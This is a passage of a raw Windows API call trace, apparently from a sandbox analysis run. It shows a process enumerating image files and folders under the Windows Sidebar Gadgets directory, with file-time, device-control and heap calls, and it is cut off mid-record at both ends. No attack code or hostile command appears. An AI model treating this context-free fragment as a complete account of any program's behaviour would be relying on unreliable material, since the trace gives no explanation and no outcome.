ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b795bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_hover.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e2fe6c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82e2fe6c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b9f71b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_pressed.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e55fc9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82e55fc9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b9f71b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_rest.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b101cb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b101cb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28bc5879, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x120, dwReserved0=0x0, dwReserved1=0x0, cFileName="spacer_highlights.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b36328, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b36328, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28bc5879, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4eac, dwReserved0=0x0, dwReserved1=0x0, cFileName="square.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b825e2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b825e2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28beb9d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_dot.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b36328, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b36328, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28beb9d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1db, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_h.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b5c485, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b5c485, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c37c93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_m.png", cAlternateFileName="")) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b5c485, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b5c485, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c37c93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_s.png", cAlternateFileName="")) returned 1 [0080.553] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b825e2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b825e2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c37c93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4d87, dwReserved0=0x0, dwReserved1=0x0, cFileName="square_settings.png", cAlternateFileName="")) returned 1 [0080.553] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82ba873f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82ba873f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c5ddf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x519b, dwReserved0=0x0, dwReserved1=0x0, cFileName="system.png", cAlternateFileName="")) returned 1 [0080.553] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c1ab56, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82c1ab56, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c5ddf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_dot.png", cAlternateFileName="")) returned 1 [0080.553] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82bce89c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82bce89c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c83f4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_h.png", cAlternateFileName="")) returned 1 [0080.553] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82bf49f9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82bf49f9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c83f4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_m.png", cAlternateFileName="")) returned 1 [0080.553] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82bf49f9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82bf49f9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c83f4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_s.png", cAlternateFileName="")) returned 1 [0080.553] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c40cb3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82c40cb3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28caa0ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5a3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="system_settings.png", cAlternateFileName="")) returned 1 [0080.553] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c66e10, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82c66e10, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28caa0ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4c3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad.png", cAlternateFileName="")) returned 1 [0080.553] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82cd9227, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82cd9227, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28cd020b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_dot.png", cAlternateFileName="")) returned 1 [0080.553] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c66e10, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82c66e10, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28cd020b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x15f, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_h.png", cAlternateFileName="")) returned 1 [0080.553] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c8cf6d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82c8cf6d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28ddab9d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x169, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_m.png", cAlternateFileName="")) returned 1 [0080.553] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82cb30ca, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82cb30ca, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28e00cfb, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_s.png", cAlternateFileName="")) returned 1 [0080.553] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82cff384, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82cff384, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28e00cfb, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5385, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_settings.png", cAlternateFileName="")) returned 1 [0080.553] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82cff384, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82cff384, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28e00cfb, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5385, dwReserved0=0x0, dwReserved1=0x0, cFileName="trad_settings.png", cAlternateFileName="")) returned 0 [0080.553] GetLastError () returned 0x12 [0080.553] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0080.553] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.554] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x843c2419, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x843c2419, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28e73115, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0080.554] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x843c2419, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x843c2419, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28e73115, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0080.554] GetLastError () returned 0x12 [0080.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.555] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.555] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPU.Gadget", cAlternateFileName="")) returned 1 [0080.555] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.555] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.556] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0080.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.556] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0080.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.556] NtClose (Handle=0x178) returned 0x0 [0080.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.556] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0080.557] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.557] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8538749b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8538749b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29088439, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0080.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5770 [0080.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0080.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.558] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.558] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x290ae597, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x290ae597, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x290d46f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x23e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0080.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5790 [0080.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.559] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8057bdba, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8057bdba, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0080.559] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8538749b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8538749b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x291b8f29, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0080.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f57b0 [0080.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0080.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.560] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8538749b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8538749b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x291b8f29, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0080.560] GetLastError () returned 0x12 [0080.560] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0080.560] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.560] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.560] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8538749b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8538749b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29088439, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0080.560] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.561] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.562] CreateFileW (lpFileName="C:\\Program Files\\Windows 